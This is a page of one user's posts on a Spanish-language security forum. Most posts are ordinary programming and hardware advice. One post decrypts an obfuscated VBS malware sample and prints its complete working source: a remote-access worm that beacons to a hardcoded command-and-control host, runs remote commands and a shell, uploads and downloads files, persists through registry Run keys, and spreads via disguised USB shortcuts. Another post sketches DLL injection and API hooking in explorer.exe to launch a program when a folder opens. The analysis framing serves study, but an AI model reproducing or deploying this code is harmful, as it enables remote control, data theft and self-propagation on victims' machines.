elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Mensajes
Páginas: 1 ... 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 [27] 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 ... 47
261  Foros Generales / Foro Libre / Re: Que carrera elegir en: 9 Enero 2018, 18:48 pm
Dependiendo del pais puede tener diferentes nombres

Computer Science
Ingenieria Informatica
Ingenieria de Sistemas
Ingenieria de software
Etc

En  fin debes revisar en las universidades por todos los programas  cualquier carrera con perfil en la tecnologia y la programacion de software y tomar una decision basado en lo que mas deseas hacer. Las carreras tecnologicas tienen cientos de aristas
262  Foros Generales / Dudas Generales / Re: Quitar contraseña .RAR en: 8 Enero 2018, 15:34 pm
Si es un CTF no creo que pongan un archivo rar con password para que los jugadores gasten 10 años haciendole fuerza bruta para obtener el password. Por algun lado debe estar el password oculto o quizas como parte de otro reto o del mismo rar, solo hay que saber buscar y buscar bien.
263  Programación / Programación General / Re: auto login Http post request en: 17 Noviembre 2017, 18:23 pm
Estoy casi seguro que tu problema no es de cookies. Que data estas enviando en tu peticion POST?. Si te fijas en una peticion de ejemplo:

token=421dee8bdaa13308cf679d8b21b4897d&action=loginUser&character_name=myusername&character_password=mypassword&button=OK

te daras cuenta que la peticion POST debe incluir el token y el resto de elementos esperados, de otra forma te dara un bad response. Por lo que pude ver el token no esta en el header asi que supongo que estara como campo oculto en el html de la pagina de login, por lo que tendrias que leer el html, buscar el campo "token" y añadirlo a tu peticion POST ademas como dije antes del resto de variables esperadas
Saludos

EDIT: No habia leido bien el resto de tu primer mensaje, pero como dije antes no creo que sea error de cookies ya que no hay al parecer ninguna variable tipo csrf, etc. Puedes poner el codigo/status devuelto del response?
264  Programación / Programación C/C++ / Re: Manipulando ficheros de texto en: 21 Octubre 2017, 07:41 am
Lo primero que te recomendaría es informarte un poco respecto a las funciones de manejo de ficheros en C

https://fresh2refresh.com/c-programming/c-file-handling/
https://www.tutorialspoint.com/cprogramming/c_file_io.htm
http://www.studytonight.com/c/file-input-output.php


Para leer un fichero primero necesitas conocer la estructura de dicho fichero (como esta dispuesta la información) y luego pues lees cada registro (toda una estructura a la vez) del stream del fichero hasta EOF y no linea a linea. Podrias usar fread/memcpy/fscanf/etc, tienes muchas opciones, solo es cuestión de leer y practicar.
Saludos
265  Seguridad Informática / Análisis y Diseño de Malware / Re: descifrar virus (.vbs) en: 21 Octubre 2017, 07:15 am
Esta es una técnica muy usada en malware vbs o cualquier otro tipo de script y es bien sencillo obtener el decifrado, lo unico que se necesita es sustituir la linea #7:

Código
  1. executeglobal hsDCcocssccCaVICC

por las siguientes:

Código
  1. Set file = fso.CreateTextFile("D:\decrypted.txt", True)
  2. file.write(hsDCcocssccCaVICC)
  3. file.close

Luego en "decrypted.txt" estará el código descifrado del malware. Aquí lo paso luego de descifrarlo y arreglar algún que otro caracter. Es básicamente una variante de un malware que analice hace ya algún tiempo en mi blog

(AVISO: NO EJECUTAR DIRECTAMENTE EN EL S.O PRINCIPAL, ESTA ES UNA MUESTRA REAL DE UN MALWARE REAL. Avisados quedan todos)

Código
  1. host = "r7.mooo.com"
  2. port = 9371
  3. installdir = "%appdata%"
  4. lnkfile = true
  5. lnkfolder = false
  6.  
  7.  
  8. dim shellobj
  9. set shellobj = wscript.createobject("wscript.shell")
  10. dim filesystemobj
  11. set filesystemobj = createobject("scripting.filesystemobject")
  12. dim httpobj
  13. set httpobj = createobject("msxml2.xmlhttp")
  14.  
  15.  
  16.  
  17. installname = wscript.scriptname
  18. startup = shellobj.specialfolders ("startup") & "\"
  19. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  20. if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  21. spliter = "<" & "|" & ">"
  22. sleep = 5000
  23. dim response
  24. dim cmd
  25. dim param
  26. info = ""
  27. usbspreading = ""
  28. startdate = ""
  29. dim oneonce
  30.  
  31.  
  32. on error resume next
  33.  
  34.  
  35. instance
  36. while true
  37.  
  38. install
  39.  
  40. response = ""
  41. response = post ("is-ready","")
  42. cmd = split (response,spliter)
  43. select case cmd (0)
  44. case "excecute"
  45.      param = cmd (1)
  46.      execute param
  47. case "update"
  48.      param = cmd (1)
  49.      oneonce.close
  50.      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
  51.      oneonce.write param
  52.      oneonce.close
  53.      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
  54.      wscript.quit
  55. case "uninstall"
  56.      uninstall
  57. case "send"
  58.      download cmd (1),cmd (2)
  59. case "site-send"
  60.      sitedownloader cmd (1),cmd (2)
  61. case "recv"
  62.      param = cmd (1)
  63.      upload (param)
  64. case  "enum-driver"
  65.      post "is-enum-driver",enumdriver  
  66. case  "enum-faf"
  67.      param = cmd (1)
  68.      post "is-enum-faf",enumfaf (param)
  69. case  "enum-process"
  70.      post "is-enum-process",enumprocess  
  71. case  "cmd-shell"
  72.      param = cmd (1)
  73.      post "is-cmd-shell",cmdshell (param)  
  74. case  "delete"
  75.      param = cmd (1)
  76.      deletefaf (param)
  77. case  "exit-process"
  78.      param = cmd (1)
  79.      exitprocess (param)
  80. case  "sleep"
  81.      param = cmd (1)
  82.      sleep = eval (param)        
  83. end select
  84.  
  85. wscript.sleep sleep
  86.  
  87. wend
  88.  
  89.  
  90. sub install
  91. on error resume next
  92. dim lnkobj
  93. dim filename
  94. dim foldername
  95. dim fileicon
  96. dim foldericon
  97.  
  98. upstart
  99. for each drive in filesystemobj.drives
  100.  
  101. if  drive.isready = true then
  102. if  drive.freespace  > 0 then
  103. if  drive.drivetype  = 1 then
  104.    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
  105.    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
  106.        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
  107.    end if
  108.    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
  109.        if not lnkfile then exit for
  110.        if  instr (file.name,".") then
  111.            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
  112.                file.attributes = 2+4
  113.                if  ucase (file.name) <> ucase (installname) then
  114.                    filename = split(file.name,".")
  115.                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk")
  116.                    lnkobj.windowstyle = 7
  117.                    lnkobj.targetpath = "cmd.exe"
  118.                    lnkobj.workingdirectory = ""
  119.                    lnkobj.arguments = "/c start " & replace(file.name," ", chrw(34) & " " & chrw(34)) & "&start " & replace(installname," ", chrw(34) & " " & chrw(34)) &"&exit"
  120.                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
  121.                    if  instr (fileicon,",") = 0 then
  122.                        lnkobj.iconlocation = file.path
  123.                    else
  124.                        lnkobj.iconlocation = fileicon
  125.                    end if
  126.                    lnkobj.save()
  127.                end if
  128.            end if
  129.        end if
  130.    next
  131.    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  132.        if not lnkfolder then exit for
  133.        folder.attributes = 2+4
  134.        foldername = folder.name
  135.        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk")
  136.        lnkobj.windowstyle = 7
  137.        lnkobj.targetpath = "cmd.exe"
  138.        lnkobj.workingdirectory = ""
  139.        lnkobj.arguments = "/c start " & replace(folder.name," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(installname," ", chrw(34) & " " & chrw(34)) &"&exit"
  140.        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
  141.        if  instr (foldericon,",") = 0 then
  142.            lnkobj.iconlocation = folder.path
  143.        else
  144.            lnkobj.iconlocation = foldericon
  145.        end if
  146.        lnkobj.save()
  147.    next
  148. end If
  149. end If
  150. end if
  151. next
  152. err.clear
  153. end sub
  154.  
  155. sub uninstall
  156. on error resume next
  157. dim filename
  158. dim foldername
  159.  
  160. shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  161. shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  162. filesystemobj.deletefile startup & installname ,true
  163. filesystemobj.deletefile wscript.scriptfullname ,true
  164.  
  165. for  each drive in filesystemobj.drives
  166. if  drive.isready = true then
  167. if  drive.freespace  > 0 then
  168. if  drive.drivetype  = 1 then
  169.    for  each file in filesystemobj.getfolder ( drive.path & "\").files
  170.         on error resume next
  171.         if  instr (file.name,".") then
  172.             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  173.                 file.attributes = 0
  174.                 if  ucase (file.name) <> ucase (installname) then
  175.                     filename = split(file.name,".")
  176.                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  177.                 else
  178.                     filesystemobj.deletefile (drive.path & "\" & file.name)
  179.                 end If
  180.             else
  181.                 filesystemobj.deletefile (file.path)
  182.             end if
  183.         end if
  184.     next
  185.     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  186.         folder.attributes = 0
  187.     next
  188. end if
  189. end if
  190. end if
  191. next
  192. wscript.quit
  193. end sub
  194.  
  195. function post (cmd ,param)
  196.  
  197. post = param
  198. httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
  199. httpobj.setrequestheader "user-agent:",information
  200. httpobj.send param
  201. post = httpobj.responsetext
  202. end function
  203.  
  204. function information
  205. on error resume next
  206. if  inf = "" then
  207.    inf = hwid & spliter
  208.    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter
  209.    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
  210.  
  211.    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  212.    set os = root.execquery ("select * from win32_operatingsystem")
  213.    for each osinfo in os
  214.       inf = inf & osinfo.caption & spliter  
  215.       exit for
  216.    next
  217.    inf = inf & "plus" & spliter
  218.    inf = inf & security & spliter
  219.    inf = inf & usbspreading
  220.    information = inf  
  221. else
  222.    information = inf
  223. end if
  224. end function
  225.  
  226.  
  227. sub upstart ()
  228. on error resume Next
  229.  
  230. shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  231. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  232. filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
  233. filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
  234.  
  235. end sub
  236.  
  237.  
  238. function hwid
  239. on error resume next
  240.  
  241. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  242. set disks = root.execquery ("select * from win32_logicaldisk")
  243. for each disk in disks
  244.    if  disk.volumeserialnumber <> "" then
  245.        hwid = disk.volumeserialnumber
  246.        exit for
  247.    end if
  248. next
  249. end function
  250.  
  251.  
  252. function security
  253. on error resume next
  254.  
  255. security = ""
  256.  
  257. set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  258. set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
  259. for each objitem in colitems
  260.    versionstr = split (objitem.version,".")
  261. next
  262. versionstr = split (colitems.version,".")
  263. osversion = versionstr (0) & "."
  264. for  x = 1 to ubound (versionstr)
  265. osversion = osversion &  versionstr (i)
  266. next
  267. osversion = eval (osversion)
  268. if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
  269.  
  270. set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
  271. Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
  272.  
  273. for each objantivirus in colantivirus
  274.    security  = security  & objantivirus.displayname & " ."
  275. next
  276. if security  = "" then security  = "nan-av"
  277. end function
  278.  
  279.  
  280. function instance
  281. on error resume next
  282.  
  283. usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
  284. if usbspreading = "" then
  285.   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
  286.      usbspreading = "true - " & date
  287.      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  288.   else
  289.      usbspreading = "false - " & date
  290.      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  291.  
  292.   end if
  293. end If
  294.  
  295.  
  296.  
  297. upstart
  298. set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
  299. set installfullnameshort =  filesystemobj.getfile (installdir & installname)
  300. if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
  301.    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
  302.    wscript.quit
  303. end If
  304. err.clear
  305. set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
  306. if  err.number > 0 then wscript.quit
  307. end function
  308.  
  309.  
  310. sub sitedownloader (fileurl,filename)
  311.  
  312. strlink = fileurl
  313. strsaveto = installdir & filename
  314. set objhttpdownload = createobject("msxml2.xmlhttp" )
  315. objhttpdownload.open "get", strlink, false
  316. objhttpdownload.send
  317.  
  318. set objfsodownload = createobject ("scripting.filesystemobject")
  319. if  objfsodownload.fileexists (strsaveto) then
  320.    objfsodownload.deletefile (strsaveto)
  321. end if
  322.  
  323. if objhttpdownload.status = 200 then
  324.   dim  objstreamdownload
  325.   set  objstreamdownload = createobject("adodb.stream")
  326.   with objstreamdownload
  327. .type = 1
  328. .open
  329. .write objhttpdownload.responsebody
  330. .savetofile strsaveto
  331. .close
  332.   end with
  333.   set objstreamdownload = nothing
  334. end if
  335. if objfsodownload.fileexists(strsaveto) then
  336.   shellobj.run objfsodownload.getfile (strsaveto).shortpath
  337. end if
  338. end sub
  339.  
  340. sub download (fileurl,filedir)
  341.  
  342. if filedir = "" then
  343.   filedir = installdir
  344. end if
  345.  
  346. strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
  347. set objhttpdownload = createobject("msxml2.xmlhttp")
  348. objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
  349. objhttpdownload.send ""
  350.  
  351. set objfsodownload = createobject ("scripting.filesystemobject")
  352. if  objfsodownload.fileexists (strsaveto) then
  353.    objfsodownload.deletefile (strsaveto)
  354. end if
  355. if  objhttpdownload.status = 200 then
  356.    dim  objstreamdownload
  357. set  objstreamdownload = createobject("adodb.stream")
  358.    with objstreamdownload
  359. .type = 1
  360. .open
  361. .write objhttpdownload.responsebody
  362. .savetofile strsaveto
  363. .close
  364. end with
  365.    set objstreamdownload  = nothing
  366. end if
  367. if objfsodownload.fileexists(strsaveto) then
  368.   shellobj.run objfsodownload.getfile (strsaveto).shortpath
  369. end if
  370. end sub
  371.  
  372.  
  373. function upload (fileurl)
  374.  
  375. dim  httpobj,objstreamuploade,buffer
  376. set  objstreamuploade = createobject("adodb.stream")
  377. with objstreamuploade
  378.     .type = 1
  379.     .open
  380. .loadfromfile fileurl
  381. buffer = .read
  382. .close
  383. end with
  384. set objstreamdownload = nothing
  385. set httpobj = createobject("msxml2.xmlhttp")
  386. httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
  387. httpobj.send buffer
  388. end function
  389.  
  390.  
  391. function enumdriver ()
  392.  
  393. for  each drive in filesystemobj.drives
  394. if   drive.isready = true then
  395.     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
  396. end if
  397. next
  398. end Function
  399.  
  400. function enumfaf (enumdir)
  401.  
  402. enumfaf = enumdir & spliter
  403. for  each folder in filesystemobj.getfolder (enumdir).subfolders
  404.     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
  405. next
  406.  
  407. for  each file in filesystemobj.getfolder (enumdir).files
  408.     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
  409.  
  410. next
  411. end function
  412.  
  413.  
  414. function enumprocess ()
  415.  
  416. on error resume next
  417.  
  418. set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
  419. set colitems = objwmiservice.execquery("select * from win32_process",,48)
  420.  
  421. dim objitem
  422. for each objitem in colitems
  423. enumprocess = enumprocess & objitem.name & "|"
  424. enumprocess = enumprocess & objitem.processid & "|"
  425.    enumprocess = enumprocess & objitem.executablepath & spliter
  426. next
  427. end function
  428.  
  429. sub exitprocess (pid)
  430. on error resume next
  431.  
  432. shellobj.run "taskkill /F /T /PID " & pid,7,true
  433. end sub
  434.  
  435. sub deletefaf (url)
  436. on error resume next
  437.  
  438. filesystemobj.deletefile url
  439. filesystemobj.deletefolder url
  440.  
  441. end sub
  442.  
  443. function cmdshell (cmd)
  444.  
  445. dim httpobj,oexec,readallfromany
  446.  
  447. set oexec = shellobj.exec ("%comspec% /c " & cmd)
  448. if not oexec.stdout.atendofstream then
  449.   readallfromany = oexec.stdout.readall
  450. elseif not oexec.stderr.atendofstream then
  451.   readallfromany = oexec.stderr.readall
  452. else
  453.   readallfromany = ""
  454. end if
  455.  
  456. cmdshell = readallfromany
  457. end function
266  Programación / Programación General / Re: auto login Http post request en: 30 Septiembre 2017, 03:52 am
Pues tienes que leer las cookies de la web con tu get y cuando hagas tu post debes añadirlas al header de la peticion POST
267  Programación / Programación C/C++ / Re: Manejo de archivos txt en: 6 Abril 2017, 04:06 am
1- Pues necesitas usar funciones para manipular ficheros: fopen, fgets, fputs...etc (http://www.cplusplus.com/reference/cstdio/fopen/).
2- Necesitas crearte una variable global que almacenara todo el contenido de tu fichero luego que lo leas (array, vector, list...tu eliges)
3- Luego solo llamas las funciones de ordenamiento sobre tu variable en memoria y al salir de la aplicación vuelves a guardar todo al .txt con las mismas funciones de 1
268  Seguridad Informática / Análisis y Diseño de Malware / Re: Ejecutar un archivo con solo abrir una carpeta? en: 6 Abril 2017, 03:15 am
mejor disfrazarla de un acceso directo o un exe en forma de carpeta

That's lame  :xD, hazlo como los hombres!!.... jeje, nah en serio, opciones tienes para hacerlo, solo debes usar tu imaginación y elegir el método que mejor se adecue a lo que deseas



XD eso pensé... y funciona 2 de cada 3 veces XD

ojo, la idea de [ Thunder | CLS ] está bestia, pero si el creador del post fuera capaz de implementarlo, no habría hecho la pregunta XD


Creo que tienes razon  :rolleyes:


· No hacer doble post
>aquí las reglas del foro
-Engel Lex
269  Seguridad Informática / Análisis y Diseño de Malware / Re: Ejecutar un archivo con solo abrir una carpeta? en: 6 Abril 2017, 02:46 am
Pues claro que si se puede, pero tendrías que utilizar varias técnicas (DLL injection + API hooking). Solo necesitas inyectarte en "explorer.exe" y hacer hooking en kernel32.CreateFileW/A, luego filtras LPCTSTR lpFileName por el "path + nombre" de la carpeta que quieres monitorear y una vez sea afirmativo pues ejecutas tu aplicación, simple ;) ;-)

PD: Lo olvidaba, es bueno aclarar que ademas de filtrar el nombre debes filtrar por:

Código
  1. dwCreationDisposition == OPEN_EXISTING && dwDesiredAccess == GENERIC_READ
270  Informática / Hardware / Re: en que fijarse al comprar disco duro en: 21 Febrero 2017, 14:35 pm
Hola qiero comprar un disco duro externo para uso personal, me gustaria saber en que hay que fijarse a la hora de comprar uno aparte de su capacidad... me gustaria saber como los conceptos informaticos en lo que me debo fijar. ojala me entiendan, saludos

-Tipo de disco (HDD, HYBRID, SSD)
-Disk transfer rate (rpm)
-Cache size
-Marca



Sent from my iPhone using Tapatalk Pro
Páginas: 1 ... 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 [27] 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 ... 47
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines